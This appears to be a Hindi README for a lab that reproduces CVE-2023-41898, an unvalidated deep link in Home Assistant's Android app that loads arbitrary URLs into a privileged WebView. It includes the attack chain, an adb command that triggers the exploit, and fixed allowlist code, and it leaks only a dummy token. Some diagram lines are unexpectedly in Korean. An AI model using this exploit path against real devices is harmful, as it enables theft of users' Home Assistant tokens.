
CVE-2023-41898 का चरण-दर-चरण अध्ययन करें: Home Assistant Android में एक सत्यापित-रहित डीप लिंक का शोषण करके विशेषाधिकार प्राप्त WebView में मनमाने URL लोड करें और एक नकली टोकन लीक करें।
यह Home Assistant Companion for Android की सार्वजनिक भेद्यता रिपोर्ट (GHSL-2023-142) और कमजोर संस्करण 2023.8.2 की ओपन-सोर्स संरचना पर आधारित एक शैक्षिक लघु पुनरुत्पादन लैब है।
वास्तविक Home Assistant सर्वर, खाते या टोकन का उपयोग नहीं किया जाता है। केवल LAB_TOKEN_CVE_2023_41898_NOT_REAL नामक एक निश्चित डमी टोकन ही उजागर होता है।
2023.9.2 से कम (आधिकारिक सलाह के अनुसार)2023.9.2Attacker App
│ explicit ACTION_VIEW Intent
│ data=http://10.0.2.2:8000/exploit.html
▼
Victim MyActivity (exported)
│ 검증 없이 JavaScript-enabled WebView.loadUrl()
▼
exploit.html
│ homeassistant://navigate/http://10.0.2.2:8000/second-stage.html
▼
Victim WebViewActivity (privileged WebView)
│ 공격자 페이지에 externalApp JavaScript bridge 노출
▼
가상 LAB_TOKEN 표시
Android manifest में intent-filter केवल यह परिभाषित करता है कि कौन सा URI अंतर्निहित (implicit) Intent से मेल खाता है; स्पष्ट रूप से किसी कंपोनेंट को निर्दिष्ट करने वाले Intent के data URI को यह स्वचालित रूप से सत्यापित नहीं करता है।
victim/: कमजोर deep-link हैंडलर और विशेषाधिकार प्राप्त WebView को पुनरुत्पादित करने वाला ऐपattacker/: पीड़ित ऐप के exported Activity को स्पष्ट Intent भेजने वाला हमलावर ऐपweb/: स्थानीय रूप से प्रदान किए जाने वाले चरण 1 और 2 के हमले वाले पृष्ठdist/: सत्यापित डीबग APKUPSTREAM.md: मूल स्रोत और लैब कार्यान्वयन के बीच संबंधआवश्यकताएँ: JDK 17 या उच्चतर, Android SDK 36, Gradle/Android Gradle Plugin कैश या इंटरनेट कनेक्शन।
./gradlew :victim:assembleDebug :attacker:assembleDebug
केवल अधिकृत एमुलेटर या परीक्षण डिवाइस पर चलाएँ।
adb install -r dist/cve-2023-41898-victim-debug.apk
adb install -r dist/cve-2023-41898-attacker-debug.apk
लैब रूट में निम्न कमांड चलाएँ।
python3 -m http.server 8000 --directory web
Android Studio डिफ़ॉल्ट एमुलेटर में 10.0.2.2 होस्ट PC के loopback को इंगित करता है। यदि आप वास्तविक परीक्षण डिवाइस का उपयोग करते हैं, तो web/exploit.html और हमलावर ऐप के URL को PC के LAN IP में बदलें।
CVE-2023-41898 Victim और CVE-2023-41898 Attacker ऐप इंस्टॉल करें।homeassistant://navigate/ URL पर नेविगेट करता है।LAB_TOKEN_CVE_2023_41898_NOT_REAL प्रदर्शित होता है।ADB के माध्यम से हमलावर ऐप के बिना भी पहला चरण लागू किया जा सकता है।
adb shell am start \
-n lab.cve202341898.victim/.MyActivity \
-a android.intent.action.VIEW \
-d 'http://10.0.2.2:8000/exploit.html'
कमजोर कार्यान्वयन बाहरी URI को सीधे लोड करता है।
Uri urlToLoad = getIntent().getData();
webView.loadUrl(urlToLoad.toString());
सुधार करते समय, पार्स किए गए URI के scheme, host, port और path को एक सख्त allowlist के साथ सत्यापित किया जाना चाहिए। स्ट्रिंग startsWith तुलना का उपयोग न करें, क्योंकि इसमें userinfo ([email protected]), सबडोमेन और एन्कोडिंग बायपास का जोखिम होता है।
Uri uri = getIntent().getData();
boolean trusted = uri != null
&& "https".equals(uri.getScheme())
&& "my.home-assistant.io".equals(uri.getHost())
&& uri.getPort() == -1
&& uri.getPath() != null
&& uri.getPath().startsWith("/redirect/");
if (!trusted) {
finish();
return;
}
इसके अतिरिक्त, WebView से अनावश्यक JavaScript और JavascriptInterface को हटाएँ, और सभी नेविगेशन और रीडायरेक्ट पर भी समान URL सत्यापन लागू करें।
2023.8.2: https://github.com/home-assistant/android/tree/2023.8.2